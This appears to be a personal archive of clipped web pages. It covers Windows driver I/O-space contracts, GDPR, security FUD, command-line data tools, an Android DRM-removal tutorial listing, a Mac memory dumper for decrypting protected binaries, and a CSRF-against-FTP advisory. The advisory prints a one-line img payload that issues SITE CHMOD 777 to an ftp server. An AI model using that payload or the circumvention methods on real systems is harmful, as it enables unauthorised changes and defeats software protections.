In the early PC days, the processor bus and the I/O bus weren’t really separate.  There were distinctions, but those weren’t strongly delineated until PCI came along, in the early ‘90s.  PCI was successful and enduring because, in no small part, it was defined entirely without reference to a specific processor or processor architecture.  ThePCI Spec has almost completely avoided talking about anything that happens outside of the PCI bus.  This means, however, that any specific implementation has to have something which bridges the PCI spec to the processor bus.  (I’m saying “processor bus” loosely here to mean any system of interconnecting processors, memory and the non-cache-coherent I/O domains.  This sometimes gets referred to as a “North Bridge,” too.)
 
The processor bus then gets mapped onto the I/O subsystem, specifically one or more root PCI buses.  The following diagram shows a machine that has two root PCI buses (which is not at all typical this year, but was very typical of PC servers a decade ago.)  The specific addresses could change from motherboard to motherboard and were reported to the OS by the BIOS.
 
 
 
You’ll notice that processor I/O space is pretty limited.  It’s even more limited when you look at the PCI to PCI bridge specification, which says that down-stream PCI busses must allocate chucks of I/O address space on 4K boundaries.  This means that there are only a few possible “slots” to allocate from and a relatively small number of PCI busses can allocate I/O address space at all.
 
Attempts to expand I/O Space
 
Today, this lack of I/O space problem is mostly handled by creating devices which only use memory space (or memory-mapped I/O space as it’s sometimes called.)  But in the past, and in some current very-high-end machines, multiple PCI I/O spaces are mapped into a machine by mapping them into processor memory space rather than processor I/O space.  I’ve debugged many a machine that had a memory map like the following.
 
 
In this machine, you need to use memory instructions, complete with virtual address mappings, if you want to manipulate the registers of your device, as long as that device is on Root PCI Bus 1 or one of its children.  If your device is plugged into Root PCI Bus 0, then you use I/O instructions.  While that’s a little bit hard to code for (more on that later) it’s nice because each PCI bus has its full 16K of I/O address space. 
 
In theory, the secondary root PCI buses can have even more than 16K of space.  The PCI spec allows for 32-bits of I/O space and devices are required to decode 32-bit addresses of I/O.  Since it’s all just mapped into processor memory space, which is large, you can have a really large I/O space.  In practice, though, many devices didn’t follow the spec and the one machine I’ve seen that depended on this capability had a very, very short list of compatible adapters.
 
Non-Intel Processors
 
If you’ve ever written code for a processor that Intel didn’t have a hand in designing, you’ve probably noticed that the concept of I/O address spaces is pretty rare elsewhere.  (Now please don’t write to me telling me about some machine that you worked on early in your career.  I’ve heard those stories.  I’ll even bore you with my own as penance for sending me yours.)  Let’s just stop the discussing by pointing out that MIPS, Alpha and PowerPC never had any notion of I/O address space and Itanic has an I/O space, but only if you look at it from certain angles.  And those are the set of non-x86 processors that NT has historically run on.
 
Chipset designers who deal with non-PC processors and non-PC chipsets often do something really similar to what was just described above where the north bridge translates I/O to memory, except that not even PCI Bus 0 has any native I/O space mapping.  All the root PCI buses map their I/O spaces into processor memory space.
 
Windows NT Driver Contract
 
About now, you’re probably itching to challenge my statement (above) where I said you could write a driver which runs just fine regardless of which sort of processor address space your device shows up in.
 
Interestingly, I’ve been working on HALs and drivers within Microsoft (and at IBM before that) for about 16 years now and I always knew that I understood the contract.  I also knew that few drivers not shipped with NT followed the contract.  What I didn’t know was that, even though the “rules” are more or less described in the old DDK docs, very few people outside of Microsoft had internalized those rules, and in fact one major driver consulting and teaching outfit (who shall remain nameless, but who’s initials are “OSR”) was actually teaching a different contract.
 
After much discussion about this a few years ago, and from my own experience, I believe that it was essentially an unreasonable contract, in that it was untestable if you didn’t own a big-iron machine with weird translations or a non-PC machine running a minority processor.
 
I’ll lay out the contract here, though, for the sake of completeness.
 
1.       There are “raw” resources and “translated” resources.  Raw resources are in terms of the I/O bus which contains the device.  Translated resources are in terms of the processor.  Every resource claim has both forms.
2.       Bus drivers take raw resources and program the bus, the device or both so that the device registers show up at that set of addresses.
3.       Function drivers take the translated resources and use them in the driver code, as the code runs on the processor.  Function drivers must ignore the raw resource list.  Even if the function driver was written by a guy who is absolutely certain that his device appears in I/O space, because it is a PCI device with one Base Address Register of type I/O, the driver must still look at the resource type in the translated resources.
4.       If your device registers are in I/O space from the point of view of the processor, your translated resources will be presented as CmResourceTypePort.  If your translated resources are of this type, you must use “port” functions to access your device.  These functions have names that start with READ_PORT_ and WRITE_PORT_.
5.       If your device registers are in memory space from the point of view of the processor, your translated resources will be presented as CmResourceTypeMemory.  If they are of this type, you must first call MmMapIoSpace to get a virtual address for that physical address.  Then you use “memory” functions, with names that start with READ_REGISTER_ and WRITE_REGISTER_.  When your device gets stopped, you call MmUnmapIoSpace to release the virtual address space that you allocated above.
 
This contract works.  (No, really, I’m certain.  I’ve written a lot of code that uses it.)  But it’s not an easy contract to code to, and I’ll lay out the issues:
 
·         The “PORT” functions and the “REGISTER” functions are not truly symmetric.  The forms that take a string and transfer it do different things.  The PORT functions assume the register is a FIFO. The REGISTER functions assume it’s a region of memory space that’s being referred to.  So you pretty much have to ignore the string forms of these and code your own with a loop.
·         All access to your device either has an “if port then, else memory” structure to it.  Or you create a function table that access the device, with variant port/memory forms.
·         The ever-so-popular driver structure where you define your registers in a C-style struct and then call MmMapIoSpace and lay your struct over top of your device memory just doesn’t work in any machine that translates device memory to processor I/O.  (Yes, I’ve even seen one of those.)
 
In the end, most driver writers outside of the NT team either ignore the contract because they are unaware of it, or ignore it because they have no way to test their driver in non-PC machines.  Imagine telling your boss that you have functions which deal with I/O mapped into processor memory in your driver but you’ve never seen them run.  So he can either ship untested code or pony up and buy you an HP Superdome Itanic, fully populated with 256 processors just to test on.
 
﻿http://www.accessroot.com/arteam/site/download.php?view.327 
ARTeam Website: Downloads / Tutorials / Reversing Android SlideLock 1.1
Created:
12/9/2010 9:18:58 PM
Updated:
12/11/2010 11:17:15 AM
Author:

Tags:
reversing android


Tutorials [ Download ARTeam Tutorials! ]
Reversing Android SlideLock 1.1
Author
Nieylana
Description
SlideLOCK is a DRM system for AndroidOS programs that aims to prevent the sharing of purchased APKs amongst users. The protection lies in special classes that the programmer must implement into his/her own code that does server-side checking with device-specific information to ensure the user is authorized to access the application. This tutorial explain protection's under-hoods and removing process.
Watch Online
Click here to the watch tutorial preview online now !
Read Online
no image available
Filesize
1.07 MB
Date
Thursday 02 December 2010 - 02:44:54
Downloads
361
Download

Rating
Not rated
 

Report broken download

﻿http://blog.lukaszolejnik.com/2017-will-be-the-year-of-privacy-and-here-is-why/ 
2017 Will Be The Year of Privacy And Here is Why
Created:
12/19/2016 9:31:16 PM
Updated:
12/19/2016 9:31:16 PM
Author:

Tags:
privacy gdpr




19 Dec 2016 
2017 Will Be The Year of Privacy And Here is Why
Only a few days ago a major corporation has admitted to two massive breaches in a row: first in 2013, then second in 2014; both finally detected in 2016. The consequences were substantial: over a billion accounts breached. Company share prices did not respond significantly. However, the most interesting thing here is that Yahoo - the mentioned corporation - is now in the process of acquisition talks. How might such incidents affect the final price or the entire deal? Beyond the immediate material loss, such events bring very negative publicity and may lead to a significant loss of trust.
This vivid example highlighted - for the first time - how security and privacy breach can have real business impact. In corporate terms, security, privacy and data protection become important factors influencing, for example, acquisition talks and other business development processes. The risks related to security, privacy and data protection are becoming very broad and it is crucial for C-level leaders to understand their importance well, especially in the light of incoming legislative changes.
Starting in 2017, privacy and data protection will bring additional uncertainty thanks to upcoming regulations in Europe, which are having worldwide consequences - in the US and beyond. Why has this happened? Regulatory bodies finally realized the importance of privacy and data protection and how these relate to business and consumer confidence and trust. Society is increasingly recognizing the risks and dangers that threaten us because of recklessly designed Internet of Things (IoT) and its many flaws. Consumers do not expect their IoT-enabled toasters being part of massive internet botnets.
A lack of industry standards or government regulations around security and privacy design flaws has led to tangible, measurable damage to businesses (in both financial and reputational loss). Fortunately, there are promising changes on the horizon. 
Privacy and Data Protection - the New Standard
In May 2018, a landmark regulatory framework will come to force in European Union. It will mark a milestone for privacy and data protection. The framework -- General Data Protection Regulation (GDPR) -- will be complemented by additional ePrivacy regulation. This legislation will meaningfully increase the standards of privacy and data protection. Any company operating in Europe or having users based in Europe will be bound to comply. And by all accounts, GDPR regulation effectively has a worldwide impact. The regulations are strict and will be enforced. Companies not caring enough risk fines up to 20 million Euro (or 4% organization’s worldwide annual turnover for the preceding year - whichever is higher).
Although GDPR comes to force in 2018, it would be wise to begin making preparations as soon as possible. Adhering to this legislation is a complicated process demanding resources -- not only people (privacy engineers and analysts), but also time and proper understanding of risks related to data protection and privacy. 
What You Need To Consider
The key points any organization or company needs to understand to follow GDPR regulation are: 
· Consent management becomes a thing of great importance. Any organization managing personal data must be able to demonstrate that they handle it with users’ awareness and actively given consent. *Are your users aware that you store or process their data? *
· A Privacy by Design approach will be one of the most striking and decisive points of the new frameworks. In simple terms, this means that privacy and data protection will need to be considered in the early stages of each project or product, basically privacy controls and risk processes will need to be "first-class citizens" into product and system life-cycles. A key question: did your business implement the process?
· Privacy Impact Assessment (PIA) will be present as a standard process in maintaining and ensuring the relevant privacy and data protection levels. Regulatory frameworks will require organizations to perform this process in projects dealing with personal data in order to evaluate the risks. *Can your business show that a PIA process has been conducted? *
Privacy and data protection level will be measured and managed. This is the role of Privacy Impact Assessment: measuring privacy and data protection, designing, developing, updating and maintaining applications, systems and products considering privacy. Privacy will be included into software development lifecycle.
Privacy Impact Assessment
A Privacy Impact Assessment (PIA) is an involved process reviewing the assumptions, requirements and designs of a product in order to measure the level of privacy and data protection. It is an assessment that identifies and assesses privacy and data protection risks and provides guidelines for mitigations. This risk-based approach helps organizations to produce better products, and requires organizations to guarantee that privacy and data protection has been considered from the project start. 
Persons and teams conducting Privacy Impact Assessments need to be proficient in security and privacy and often be able to think outside-the-box, especially when assessing projects on the early stages of planning.
Privacy Impact Assessment is becoming increasingly relevant worldwide; in the U.S., for example it is now recommended by NIST (the US standardisation body for federal systems) for systems dealing with personal data. Another strong indication that PIA is gaining broad attention and traction on a wide scale is the fact that a standard PIA process is currently being formally developed by the international standards body ISO. Historically, such ISO standards are widely recognized and used in many industries by corporations and other organizations; compliance with ISO standards is widely regarded as a crucial aspect of business operation and business continuity, often to identify and reduce risk. The ISO Privacy Impact Assessment standard is expected to be finalized in May 2017. What that means is that the PIA process will soon have a very real business relevance to U.S. and global businesses.
Privacy Impact Assessment is a versatile and powerful tool and it leaves a considerable flexibility as to how it can be tailored for many different projects, depending on the organization’s business needs. Within the European Union, the new regulatory framework GDPR will require conducting a variant of Privacy Impact Assessment called Data Protection Impact Assessment (DPIA), for most new and existing projects that carry substantial risk (i.e. either use of new technology, or private user data). Data Protection Impact Assessment is not that broad as PIA is and it measures what privacy and data protection risks are identified in a project. It’s also much more specific and technical.
One important aspect of a PIA is that it affords a hedge against a a high-risk negative-privacy finding. In this case, the project’s plan may be reassessed. However, organizations are free to accept the risks and move forward in launching a system or product with negative-privacy project. Should an unexpected event arise - for example, a massive data breach - an organization will be expected to show that a PIA has been conducted in order to prove that all necessary, feasible and reasonable risk-avoiding measures were in place. Organizations not able to demonstrate a formal PIA process has been conducted will risk fines.
In this way, a PIA processes can be understood as a risk-reducing measure. This also suggests another possible development arising due to new regulatory frameworks. PIA process will become of great importance during acquisition negotiations. The potential buyer, aware of possible fines due to regulation, might want to know how the new acquisition handles risk. How? They will want to see a Privacy Impact Assessment. And this PIA will be assessed by people competent in privacy and data protection process; most likely, those teams will want to conduct their own assessments as well - or at least assess the validity of PIA as it affects material risk.
In the near-term, expect to see a growing number of Business Privacy Advisor consultants offering their services. And sooner, rather than later.
Summary
I often say that privacy is a process, not a product -- and we will soon start to treat it in this way. I am already helping big organisations with Privacy Impact Assessments. Leaders would be wise to start understanding privacy and taking data protection very seriously, and view them as the business factors they are. And we will all benefit from that.

﻿http://fudsec.com/a-treatise-on-fud 
A Treatise on FUD - fudsec.com
Created:
11/10/2009 11:22:56 AM
Updated:
11/10/2009 11:23:17 AM
Author:

Tags:
report pentest socialising


A Treatise on FUD
How well do you think you know FUD?  Anton knows FUD.  He's sliced, diced and presented the head of FUD on a plate so we can examine it from a different angle.  If you're a FUD hater, that considers they never use FUD to "get things done", this post is especially for you :-).  Thanks Anton - great post!
By Dr. Anton Chuvakin
FUD or Fear/Uncertainty/Doubt triad seems better known than the other security triad: C-I-A.  It seems inextricably linked with security industry as well as with security technologies. After all, don’t we reach for some extra safety and security if we fear something, feel uncertain about something or doubt something? 
While few CSOs and security leaders admit that they build their security programs based on FUD, below we will hypothesize that FUD is indeed a meta-level above risks, threats, vulnerabilities as well as compliance mandates. FUD’s role in security today probably overshadows the role of any other factor we know.  To put more substance into our discussion, here are some well-known examples where fear, uncertainty and doubt manifest themselves: 
· Fear
·
· Getting compromised by attackers
· Failing an audit
· Suffering big loss
· All of the above: Failing an audit + getting hacked + being dragged into a media circus
· Uncertainty
·
· Keeping  a security leadership job
· “Keeping the wheels on” for security infrastructure
· In case of an incident, loss amount is uncertain
· Threats and their impact
· Doubt
·
· Security mission success
· Effectiveness of security measures
· Support of senior management
Further, many people view using FUD for driving security spending and security technology deployments as the very opposite of sensible risk management. However, FUD is risk management at its best: FUD approach is simply risk management where risks are unknown and unproven but seem large at first glance, information is scarce, decisions uncertain and stakes are high. In other words, just like with any other risk management approach today! Big Hairy Ass Risks (BHARs) dominate both the FUD-infested security vendor materials as well as internal CSO presentations. Note that very few of the BHARs are truly imminent and thus fall out of FUD realm as there is no uncertainty about them - just like only few people develop phobias of poisonous snakes (which would be a very useful phobia to have).
In light of this, we have to accept that there are benefits of FUD – as well as risks.
The benefits of FUD stem from the above view of security which is defined as “being free from danger” or ”measures taken as a precaution” against something bad. 
First, in the world we live in, FUD works! Demonstration of a BHAR followed by technology purchase or control implementation does reduce possible loss of not only due to said BHAR, but also due to other threats (if BHAR ends up being completely mythical). Such implementations often also deliver other useful things for the organization. It is worthwhile to remind that “FUD selling” applies to CISOs no less than to “enterprise software” sales people. It also applies to “fear of auditors” as well as “fear of attackers” – both drive security adoption, even if lately the former seems to be winning. 
Second, keep in mind that many of the BHARs are both genuinely scary and, in fact, likely. Scaring a company into updating its anti-malware tools (despite all the concerns about their relative efficiency) or into deploying tools to collect and analyze logs is excusable, at the very least. 
Third, many proclaim that people need to be naturally drawn towards doing "the right thing" after being educated about what the right thing might be and scaring people into action is not that efficient. The technical answer to such concern is a resounding “Ha-har-ha!!!” 
Finally, for years FUD was used to sell insurance as well as safety features in cars and other products, legal services, to make people update their boring DR and BC plans, and other good things. Fear might not be a very positive emotion to experience, but acting out of fear has led to things that are an overall positive, all the way down to resolving political tensions out of fear of a nuclear war... 
Admittedly, Fear/Uncertainty/Doubt approach has issues as well. The key issue with FUD is its “blunt weapon” nature. It is a sledgehammer, not a sword! If you use FUD to “power through” issues, you might end up purchasing or deploying things that you need and things that you don’t.
Second, it is well-known that magic of FUD wanes if you invoke it too often. If you scare your customers or your management into taking your product or your security agenda seriously, they are almost guaranteed to stop listening to you at some point. However, if enough BHARs manifest , FUD approach will continue to be fairly productive. One can get desensitized upon hearing that "sky is falling" too often, but here is the thing: I am willing to take the risk of such "desensitization" given that sky is indeed "not quite stable." 
Third, FUD power – as any other power – corrupts whoever wields it too often. If you end up scaring people into action or spreading uncertainty, you might well lose an ability to win security arguments any other way. Also, if fear is a motivation for every decision you make, checking into a mental institution is not a bad idea. You might actually be paranoid! 
Finally, I’d like to bring up the good old “greed vs fear” model for advancing security, last mentioned at BlackHat by one of the speakers. As “greed-based” ROI scams fail to move security ahead, the role of fear has nowhere to go but up. In other words, all of us get to pick out favorite 3 letter abbreviation – and I’d take honest FUD over insidious ROI any day...
To conclude, fighting FUD is a noble pursuit; Don Quixote thought the same about fighting windmills. Even if objective metrics will ever replace FUD as the key driver for security, we have a bit of time to prepare now. After all, in that remote future age interstellar travel, human cloning, teleportation and artificial intelligence will make the life of a security practitioner that much more complicated...
Comments (3) 
Oct 30, 2009 
shrdlu said... 
Very nice, Anton. It seems that the BHAR is the BFH of security professionals :-) 
Oct 30, 2009 
RThomas said... 
You are conflating "fear" with "FUD". FUD is the distorted and irrational exaggeration of fears and uncertainties for the sole purpose of manipulating the decion-maker.
The term "FUD" originated in the 1970s regarding IBM's selling tactics against competitors. The FUD technique was used to destabilize the decision-maker's thinking process regarding potentially viable alternatives. FUD issues raised could not really be answered by the decision-maker or the competitor, and so nagged at the back of the mind. They had the effect of causing the decision-maker to retreat to the safe decision, which was IBM. "Nobody ever got fired for buying IBM" was one famous phrase embodying the effects of FUD. 
FUD has the same ethical status as holding embarassing photos of the decision-maker with the threat of making it public (The J. Edgar Hoover tactic of choice). Both of them work if all you care about is getting approval for your proposal or to protect your budget, but neither promote effective or rational decision-making. 
There *are* substantial reasons for framing risks in a way that goes beyond simple statement of facts and statistics, namely to deal with the psychology of risk. The ethical security or risk professional will take pains to present scenarios that are feared in a way that the decision-maker can understand and, most important, to see those scenarios in perspective relative to other possibilities and probabilities. 
There are plenty of real fears to deal with, both visible and less visible. Don't make the situation worse by pumping out FUD. It's unethical. 
Oct 30, 2009 
Anton Chuvakin said... 
Thanks for the insightful comments. I agree with some and disagree with a few.
I'd like to start from Churchill, of course :-) 
"It has been said that democracy is the worst form of government except all the others that have been tried." -- Winston Churchill 
So, FUD sucks! And FUD is indeed used to "destabilize the decision-maker's thinking process regarding potentially viable alternatives." 
However, this is, sadly, what is often needed to have them agree to something both me and you know should be done - a purely rational thing. 
Also, I love this quote from your comment: 
"There *are* substantial reasons for framing risks in a way that goes beyond simple statement of facts and statistics, namely to deal with the psychology of risk." 
Indeed, this is where/how FUD is often used - when other methods fail.... oh, wait.... we do NOT even have other methods yet... 

﻿http://reverse.put.as/2009/07/08/a-memory-dumper-for-apple-crypted-binaries-hurray/ 
A memory dumper for Apple crypted binaries ! Hurray !!! | Reverse Engineering Mac OS X
Created:
9/3/2009 9:38:47 AM
Updated:
9/18/2009 10:31:41 AM
Author:

Tags:
Dumper reversing Mac-hacking


A memory dumper for Apple crypted binaries ! Hurray !!!
Posted by fG! in Tools
Here it is, another example of my super l33t lame coding skills ! This wonder code will decrypt an Apple crypted binary via memory dumping. Maybe direct decryption (based on Amit Singh code) would be easier and nicer, but I wanted to do it this way as a test and an exercise. The code has a lot of comments that should help you understand what is being done. 
Basically the trick is to load the binary and attach ptrace to it, and then dump using mach vm_read function. Mach-o header needs to be processed to find what to dump ! There is no problem with ptrace anti-debugging because PT_TRACE_ME stops the program before any instruction is executed and in that stage the program is already decrypted (way to go Apple!). I had to use ptrace because I couldn’t find a way to have Mach task_suspend to do the same job. If you know how, please tell me 
My first version attached to a selected PID but this one is much nicer. I will clean the code for that version and add it later. 
And that’s it ! This is more an exercise for future dumpers although there is some software using this “protection” (hint: Linkinus). If you want to play with it, you can use Amit Singh’s cryptor that is linked in the previous post. 
If you find any bugs or have any improvement feel free to leave a comment or mail me. You are welcome 
I have no idea if it’s working with PPC code. It should but I only have i386. 
Have fun!
fG! 
And now the tool: dumpme_ptrace.c (SHA1(dumpme_ptrace.c)= 36231d436b0fd09c68fd729ccd34fcec887700a9) 
Update:
Here it is the PID version and a slightly improved ptrace version (more checks and a openssl style for input/output files). 
dumpme_ptracev1.1.c SHA1(dumpme_ptracev1.1.c)= 7e441d9277e00f1c6570001305921820a4985468 
dumpme.c SHA1(dumpme.c)= f3d353f532219efcfcfa87affb3b8474d7ff7e66 
Update 2:
Minor fixes. Per Jez suggestion (thanks!), vm_read dynamically allocates an array of bytes (next time I must RTFM!) and vm_deallocate should be used after we don’t need those bytes.
Nothing like learning how to do things correctly 
dumpme_ptracev1.2.c SHA1(dumpme_ptracev1.2.c)= a7d35cf7ff8705b1da91c36aa9309a66079c0d91 
dumpmev1.1.c SHA1(dumpmev1.1.c)= e1aba84eeae70663dc3580165d867e96c0770254 
This entry was posted on Wednesday, July 8th, 2009 at 11:34 pm and is filed under Tools. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, ortrackback from your own site.
﻿http://www.cgisecurity.com/2010/05/a-reminder-that-csrf-affects-more-than-websites.html 
A reminder that CSRF affects more than websites
Created:
5/29/2010 11:17:20 AM
Updated:
5/29/2010 11:17:20 AM
Author:
wishi
Tags:
attacks awesome


A reminder that CSRF affects more than websites
Maksymilian Arciemowicz has published an advisory outlining how one can perform CSRF attacks against FTP services, in this case Sun Solaris 10 ftpd. An attacker could embed a payload such as the following to execute commands on ftpd.


    <img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME";>


The NetBSD team addressed this issue by failing on large commands. The interesting thing here is that since CSRF tokens are not available in FTP, the developers were forced to remove functionality in order to mitigate this. Makes you wonder what other features may disappear from non web services in the future, to mitigate attacks launched from websites....

Full Advisory: http://seclists.org/bugtraq/2010/May/218
﻿http://jeroenjanssens.com/2013/09/19/seven-command-line-tools-for-data-science.html 
7 command-line tools for data science
Created:
2/1/2016 7:59:10 PM
Updated:
2/1/2016 7:59:10 PM
Author:

Tags:



7 command-line tools for data science
Published on 19 September 2013


Update (23-5-2015) I'm now also doing consulting and training on this exciting topic.
Update (7-17-2014) Check out my new book Data Science at the Command Line, which contains over 70 command-line tools for doing data science.
Data science is OSEMN (pronounced as awesome). That is, it involves Obtaining, Scrubbing, Exploring, Modeling, and iNterpreting data. As a data scientist, I spend quite a bit of time on the command-line, especially when there's data to be obtained, scrubbed, or explored. And I'm not alone in this. Recently, Greg Reda discussed how the classics (e.g., head, cut, grep, sed, and awk) can be used for data science. Prior to that, Seth Brown discussed how to perform basic exploratory data analysis in Unix.
I would like to continue this discussion by sharing seven command-line tools that I have found useful in my day-to-day work. The tools are: jq, json2csv, csvkit, scrape, xml2json, sample, and Rio. (The home-made tools scrape, sample, and Rio can be found in this data science toolbox.) Any suggestions, questions, comments, and even pull requests are more than welcome. (Tools suggested by others can be found towards the bottom of the post.) OSEMN, let's get started with our first tool: jq.
1. jq - sed for JSON
JSON is becoming an increasingly common data format, especially as APIs are appearing everywhere. I remember cooking up the ugliest grep and sed incantations in order to process JSON. Thanks to jq, those days are now in the past. 
Imagine we're interested in the candidate totals of the 2008 presidential election. It so happens that the New York Times has a Campaign Finance API. (You can get your own API keys if you want to access any of their APIs.) Let's get some JSON using curl:
curl -s 'http://api.nytimes.com/svc/elections/us/v3/finances/2008/president/totals.json?api-key=super-secret' > nyt.json
where -s puts curl in silent mode. In its simplest form, i.e., jq '.', the tool transforms the incomprehensible API response we got:
{"status":"OK","base_uri":"http://api.nytimes.com/svc/elections/us/v3/finances/2008/","cycle":2008,"copyright":"Copyright (c) 2013 The New York Times Company. All Rights Reserved.","results":[{"candidate_name":"Obama, Barack","name":"Barack Obama","party":"D",
into nicely indented and colored output:
< nyt.json jq '.' | head
{
  "results": [
    {
      "candidate_id": "P80003338",
      "date_coverage_from": "2007-01-01",
      "date_coverage_to": "2008-11-24",
      "candidate_name": "Obama, Barack",
      "name": "Barack Obama",
      "party": "D", 
Note that the output isn't necessarily in the same order as the input. Besides pretty printing, jq can also select, filter, and format JSON data, as illustrated by the following command, which returns the name, cash, and party of each candidate that had at least $1,000,000 in cash:
< nyt.json jq -c '.results[] | {name, party, cash: .cash_on_hand} | select(.cash | tonumber > 1000000)' 
{"cash":"29911984.0","party":"D","name":"Barack Obama"}
{"cash":"32812513.75","party":"R","name":"John McCain"}
{"cash":"4428347.5","party":"D","name":"John Edwards"}
Please refer to the jq manual to read about the many other things it can do, but don't expect it to solve all your data munging problems. Remember, the Unix philosophy favors small programs that do one thing and do it well. And jq's functionality is more than sufficient I would say! Now that we have the data we need, it's time to move on to our second tool: json2csv.
2. json2csv - convert JSON to CSV
While JSON is a great format for interchanging data, it's rather unsuitable for most command-line tools. Not to worry, we can easily convert JSON into CSV using json2csv. Assuming that we stored the data from the last step in million.json, simply invoking
< million.json json2csv -k name,party,cash
will convert it to some nicely comma-separated values:
Barack Obama,D,29911984.0
John McCain,R,32812513.75
John Edwards,D,4428347.5
Having the data in CSV format allows us to use the classic tools such as cut -d, and awk -F,. Others like grep and sed don't really have a notion of fields. Since CSV is the king of tabular file formats, according to the authors of csvkit, they created, well, csvkit.
3. csvkit - suite of utilities for converting to and working with CSV
Rather than being one tool, csvkit is a collection of tools that operate on CSV data. Most of these tools expect the CSV data to have a header, so let's add one. (Since the publication of this post, json2csv has been updated to print the header with the -p option.)
echo name,party,cash | cat - million.csv > million-header.csv
We can, for example, sort the candidates by cash with csvsort and display the data using csvlook:
< million-header.csv csvsort -rc cash | csvlook

|---------------+-------+--------------|
|  name         | party | cash         |
|---------------+-------+--------------|
|  John McCain  | R     | 32812513.75  |
|  Barack Obama | D     | 29911984.0   |
|  John Edwards | D     | 4428347.5    |
|---------------+-------+--------------|
Looks like the MySQL console doesn't it? Speaking of databases, you can insert the CSV data into an sqlite database as follows (many other databases are supported as well):
csvsql --db sqlite:///myfirst.db --insert million-header.csv
sqlite3 myfirst.db
sqlite> .schema million-header
CREATE TABLE "million-header" (
    name VARCHAR(12) NOT NULL, 
    party VARCHAR(1) NOT NULL, 
    cash FLOAT NOT NULL
);
In this case, the database columns have the correct data types because the type is inferred from the CSV data. Other tools within csvkit that might be of interest are: in2csv, csvgrep, and csvjoin. And with csvjson, the data can even be converted back to JSON. All in all, csvkit is worth checking out. 
4. scrape - HTML extraction using XPath or CSS selectors
JSON APIs sure are nice, but they aren't the only source of data; a lot of it is unfortunately still embedded in HTML. scrape is a python script I put together that employs the lxml and cssselect packages to select certain HTML elements by means of an XPath query or CSS selector. (I tried scrape.pl, but I couldn't get it to work properly. Moreover, rather than processing HTML from stdin, it expects a url and then downloads the HTML itself.) Let's extract the table from this Wikipedia article that lists the border and area ratio of each country.
curl -s 'http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio' | scrape -b -e 'table.wikitable > tr:not(:first-child)' | head
<!DOCTYPE html>
<html>
<body>
<tr>
<td>1</td>
<td>Vatican City</td>
<td>3.2</td>
<td>0.44</td>
<td>7.2727273</td>
</tr>
The -b argument lets scrape enclose the output with <html> and <body> tags, which is sometimes required by xml2json to convert correctly the HTML to JSON.
5. xml2json - convert XML to JSON
As its name implies, xml2json takes XML (and HTML) as input and returns JSON as output. Therefore, xml2json is a great liaison between scrape and jq.
curl -s 'http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio' | scrape -be 'table.wikitable > tr:not(:first-child)' | xml2json | jq -c '.html.body.tr[] | {country: .td[1][], border: .td[2][], surface: .td[3][], ratio: .td[4][]}' | head
{"ratio":"7.2727273","surface":"0.44","border":"3.2","country":"Vatican City"}
{"ratio":"2.2000000","surface":"2","border":"4.4","country":"Monaco"}
{"ratio":"0.6393443","surface":"61","border":"39","country":"San Marino"}
{"ratio":"0.4750000","surface":"160","border":"76","country":"Liechtenstein"}
{"ratio":"0.3000000","surface":"34","border":"10.2","country":"Sint Maarten (Netherlands)"}
{"ratio":"0.2570513","surface":"468","border":"120.3","country":"Andorra"}
{"ratio":"0.2000000","surface":"6","border":"1.2","country":"Gibraltar (United Kingdom)"}
{"ratio":"0.1888889","surface":"54","border":"10.2","country":"Saint Martin (France)"}
{"ratio":"0.1388244","surface":"2586","border":"359","country":"Luxembourg"}
{"ratio":"0.0749196","surface":"6220","border":"466","country":"Palestinian territories"}
Of course this JSON data could then be piped into json2csv and so forth.
6. sample - when you're in debug mode
The second tool I made is sample. (It's based on two scripts in bitly's data_hacks, which contains some other tools worth checking out.) When you're in the process of formulating your data pipeline and you have a lot of data, then debugging your pipeline can be cumbersome. In that case, sample might be useful. The tool serves three purposes (which isn't very Unix-minded, but since it's mostly useful when you're in debug mode, that's not such a big deal). 
The first purpose of sample is to get a subset of the data by outputting only a certain percentage of the input on a line-by-line basis. The second purpose is to add some delay to the output. This comes in handy when the input is a constant stream (e.g., the Twitter firehose), and the data comes in too fast to see what's going on. The third purpose is to run only for a certain time. The following invocation illustrates all three purposes.
seq 10000 | sample -r 20% -d 1000 -s 5 | jq '{number: .}'
This way, every input line has a 20% chance of being forwarded to jq. Moreover, there is a 1000 millisecond delay between each line and after five seconds sample will stop entirely. Please note that each argument is optional. In order to prevent unnecessary computation, try to put sample as early as possible in your pipeline (the same argument holds for head and tail). Once you're done debugging you can simply take it out of the pipeline.
7. Rio - making R part of the pipeline
This post wouldn't be complete without some R. It's not straightforward to make R/Rscript part of the pipeline since they don't work with stdin and stdout out of the box. Therefore, as a proof of concept, I put together a bash script called Rio. 
Rio works as follows. First, the CSV provided to stdin is redirected to a temporary file and lets R read that into a data frame df. Second, the specified commands in the -e option are executed. Third, the output of the last command is redirected to stdout. Allow me to demonstrate three one-liners that use the Iris dataset (don't mind the url).
Display the five-number-summary of each field.
curl -s 'https://raw.github.com/pydata/pandas/master/pandas/tests/data/iris.csv' > iris.csv
< iris.csv Rio -e 'summary(df)'
  SepalLength      SepalWidth     PetalLength      PetalWidth   
 Min.   :4.300   Min.   :2.000   Min.   :1.000   Min.   :0.100  
 1st Qu.:5.100   1st Qu.:2.800   1st Qu.:1.600   1st Qu.:0.300  
 Median :5.800   Median :3.000   Median :4.350   Median :1.300  
 Mean   :5.843   Mean   :3.054   Mean   :3.759   Mean   :1.199  
 3rd Qu.:6.400   3rd Qu.:3.300   3rd Qu.:5.100   3rd Qu.:1.800  
 Max.   :7.900   Max.   :4.400   Max.   :6.900   Max.   :2.500  
     Name          
 Length:150        
 Class :character  
 Mode  :character 
If you specify the -s option, the sqldf package will be imported. In case tthe output is a data frame, CSV will be written to stdout. This enables you to further process that data using other tools.
< iris.csv Rio -se 'sqldf("select * from df where df.SepalLength > 7.5")' | csvlook
|--------------+------------+-------------+------------+-----------------|
|  SepalLength | SepalWidth | PetalLength | PetalWidth | Name            |
|--------------+------------+-------------+------------+-----------------|
|  7.6         | 3          | 6.6         | 2.1        | Iris-virginica  |
|  7.7         | 3.8        | 6.7         | 2.2        | Iris-virginica  |
|  7.7         | 2.6        | 6.9         | 2.3        | Iris-virginica  |
|  7.7         | 2.8        | 6.7         | 2          | Iris-virginica  |
|  7.9         | 3.8        | 6.4         | 2          | Iris-virginica  |
|  7.7         | 3          | 6.1         | 2.3        | Iris-virginica  |
|--------------+------------+-------------+------------+-----------------|
